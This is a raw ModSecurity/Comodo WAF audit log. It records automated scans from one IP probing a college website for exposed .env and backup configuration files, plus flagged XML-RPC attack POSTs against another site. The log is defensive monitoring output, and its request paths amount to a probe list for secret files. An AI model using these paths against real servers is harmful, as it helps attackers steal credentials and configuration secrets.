sr=124, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --25514d3c-Z-- --a5cd9c2e-A-- [16/Jun/2025:06:45:42.052758 +0530] aE9wPehCUAahT1nBjTYMIwAAAAM 185.177.72.210 51828 127.0.0.1 7081 --a5cd9c2e-B-- GET /.env_bak HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a5cd9c2e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e4dd634ed4dac1424606dc4b0f770dd41750036541; expires=Mon, 16 Jun 2025 02:15:41 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a5cd9c2e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env_bak"] [unique_id "aE9wPehCUAahT1nBjTYMIwAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036541394442 658379 (- - -) Stopwatch2: 1750036541394442 658379; combined=2021, p1=445, p2=1476, p3=0, p4=0, p5=99, sr=115, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a5cd9c2e-Z-- --de81c74e-A-- [16/Jun/2025:06:45:44.031822 +0530] aE9wP_vF1ly0gx5reNl_vQAAAAE 185.177.72.210 51938 127.0.0.1 7081 --de81c74e-B-- GET /bitrix/modules/serverfilelog_tmp.dat HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --de81c74e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=beae12857e6a2921083cdfc23d5d28b11750036543; expires=Mon, 16 Jun 2025 02:15:43 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --de81c74e-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".dat"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".dat"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/bitrix/modules/serverfilelog_tmp.dat"] [unique_id "aE9wP_vF1ly0gx5reNl_vQAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036543376342 655544 (- - -) Stopwatch2: 1750036543376342 655544; combined=2210, p1=370, p2=1743, p3=0, p4=0, p5=96, sr=99, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --de81c74e-Z-- --718f926f-A-- [16/Jun/2025:06:45:47.084962 +0530] aE9wQvvF1ly0gx5reNl_vgAAAAE 185.177.72.210 52026 127.0.0.1 7081 --718f926f-B-- GET /:8000/app/configura/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --718f926f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c6f47e55af5b62b3bea294f7d33065ff1750036546; expires=Mon, 16 Jun 2025 02:15:46 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --718f926f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/app/configura/.env"] [unique_id "aE9wQvvF1ly0gx5reNl_vgAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036546410566 674471 (- - -) Stopwatch2: 1750036546410566 674471; combined=1760, p1=436, p2=1211, p3=0, p4=0, p5=112, sr=125, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --718f926f-Z-- --7c61ba36-A-- [16/Jun/2025:06:45:48.101459 +0530] aE9wQ_v_9qNKLXJRkuZcVgAAAAs 185.177.72.210 52066 127.0.0.1 7081 --7c61ba36-B-- GET /:8443/test/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --7c61ba36-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=9ac744766776d63248d9e46f622d75ba1750036547; expires=Mon, 16 Jun 2025 02:15:47 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --7c61ba36-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/test/.env"] [unique_id "aE9wQ_v_9qNKLXJRkuZcVgAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036547420152 681379 (- - -) Stopwatch2: 1750036547420152 681379; combined=1817, p1=413, p2=1285, p3=0, p4=0, p5=118, sr=103, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7c61ba36-Z-- --b8b45726-A-- [16/Jun/2025:06:46:28.524587 +0530] aE9wa_bo0R64L12N_alaawAAAAQ 128.199.112.101 45228 127.0.0.1 7081 --b8b45726-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 497 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --b8b45726-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --b8b45726-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9wa_bo0R64L12N_alaawAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036587555946 968697 (- - -) Stopwatch2: 1750036587555946 968697; combined=2618, p1=569, p2=1633, p3=44, p4=65, p5=202, sr=154, sw=105, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b8b45726-Z-- --bcd2d80e-A-- [16/Jun/2025:06:46:55.738074 +0530] aE9wh-hCUAahT1nBjTYMRwAAAAM 185.177.72.210 40588 127.0.0.1 7081 --bcd2d80e-B-- GET /examples/with-firebase-authentication-serverless/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --bcd2d80e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=eb506952db3287dfecd8ac6ef61c76b21750036615; expires=Mon, 16 Jun 2025 02:16:55 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --bcd2d80e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/examples/with-firebase-authentication-serverless/.env"] [unique_id "aE9wh-hCUAahT1nBjTYMRwAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036615052715 685456 (- - -) Stopwatch2: 1750036615052715 685456; combined=1987, p1=410, p2=1485, p3=0, p4=0, p5=91, sr=106, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --bcd2d80e-Z-- --34d29b5f-A-- [16/Jun/2025:06:46:56.726464 +0530] aE9wiA9THibLN0xLxET15QAAAAk 185.177.72.210 40694 127.0.0.1 7081 --34d29b5f-B-- GET /src/gameprovider-service/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --34d29b5f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=162aff58549fbecea332e4597673506c1750036616; expires=Mon, 16 Jun 2025 02:16:56 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --34d29b5f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/src/gameprovider-service/.env"] [unique_id "aE9wiA9THibLN0xLxET15QAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036616062249 664284 (- - -) Stopwatch2: 1750036616062249 664284; combined=1984, p1=386, p2=1487, p3=0, p4=0, p5=110, sr=94, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --34d29b5f-Z-- --6e5a4377-A-- [16/Jun/2025:06:47:06.680290 +0530] aE9wkuhCUAahT1nBjTYMUgAAAAM 185.177.72.210 55028 127.0.0.1 7081 --6e5a4377-B-- GET /outputs/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --6e5a4377-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e71102c3ca4fc757d139ee635db4c4be1750036626; expires=Mon, 16 Jun 2025 02:17:06 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --6e5a4377-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/outputs/.env"] [unique_id "aE9wkuhCUAahT1nBjTYMUgAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036626007034 673354 (- - -) Stopwatch2: 1750036626007034 673354; combined=2385, p1=477, p2=1817, p3=0, p4=0, p5=90, sr=106, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --6e5a4377-Z-- --7ecaf049-A-- [16/Jun/2025:06:47:23.581425 +0530] aE9wovv_9qNKLXJRkuZciwAAAAs 185.177.72.210 34772 127.0.0.1 7081 --7ecaf049-B-- GET /:8181/en/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --7ecaf049-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e47f457dd1322b93ef20d2be15d74e771750036643; expires=Mon, 16 Jun 2025 02:17:23 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --7ecaf049-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/en/.env"] [unique_id "aE9wovv_9qNKLXJRkuZciwAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036642871275 710213 (- - -) Stopwatch2: 1750036642871275 710213; combined=1909, p1=403, p2=1369, p3=0, p4=0, p5=137, sr=102, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7ecaf049-Z-- --b0617f3b-A-- [16/Jun/2025:06:47:28.629558 +0530] aE9wp_v_9qNKLXJRkuZcjQAAAAs 128.199.112.101 34974 127.0.0.1 7081 --b0617f3b-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 490 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --b0617f3b-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --b0617f3b-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9wp_v_9qNKLXJRkuZcjQAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036647626634 1002976 (- - -) Stopwatch2: 1750036647626634 1002976; combined=2400, p1=388, p2=1671, p3=43, p4=58, p5=152, sr=105, sw=88, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b0617f3b-Z-- --7353e90f-A-- [16/Jun/2025:06:47:29.406998 +0530] aE9wqOhCUAahT1nBjTYMXAAAAAM 185.177.72.210 35030 127.0.0.1 7081 --7353e90f-B-- GET /private/.env.old HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --7353e90f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=897f2f6996dcc1cf4972dc826165583a1750036649; expires=Mon, 16 Jun 2025 02:17:29 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --7353e90f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/private/.env.old"] [unique_id "aE9wqOhCUAahT1nBjTYMXAAAAAM"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/private/.env.old"] [unique_id "aE9wqOhCUAahT1nBjTYMXAAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036648703721 703352 (- - -) Stopwatch2: 1750036648703721 703352; combined=1948, p1=368, p2=1455, p3=0, p4=0, p5=125, sr=95, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7353e90f-Z-- --5143c63c-A-- [16/Jun/2025:06:47:47.678493 +0530] aE9wu516HYQp4eDf7R1bPgAAAAI 185.177.72.210 40242 127.0.0.1 7081 --5143c63c-B-- GET /:8181/v2/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --5143c63c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=6298f3055bec57f17f2107b75f8fd3ea1750036667; expires=Mon, 16 Jun 2025 02:17:47 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --5143c63c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/v2/.env"] [unique_id "aE9wu516HYQp4eDf7R1bPgAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036667010186 668372 (- - -) Stopwatch2: 1750036667010186 668372; combined=2113, p1=409, p2=1585, p3=0, p4=0, p5=118, sr=98, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5143c63c-Z-- --a06f751c-A-- [16/Jun/2025:06:47:59.833122 +0530] aE9wxzZ3uHeEW3BYvDO4cAAAAAA 185.177.72.210 38346 127.0.0.1 7081 --a06f751c-B-- GET /Tests/Application/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a06f751c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d53b9de4eb6432995713a785d9003e1d1750036679; expires=Mon, 16 Jun 2025 02:17:59 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a06f751c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/Tests/Application/.env"] [unique_id "aE9wxzZ3uHeEW3BYvDO4cAAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036679153228 679969 (- - -) Stopwatch2: 1750036679153228 679969; combined=1866, p1=384, p2=1379, p3=0, p4=0, p5=103, sr=94, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a06f751c-Z-- --76440d59-A-- [16/Jun/2025:06:48:12.853957 +0530] 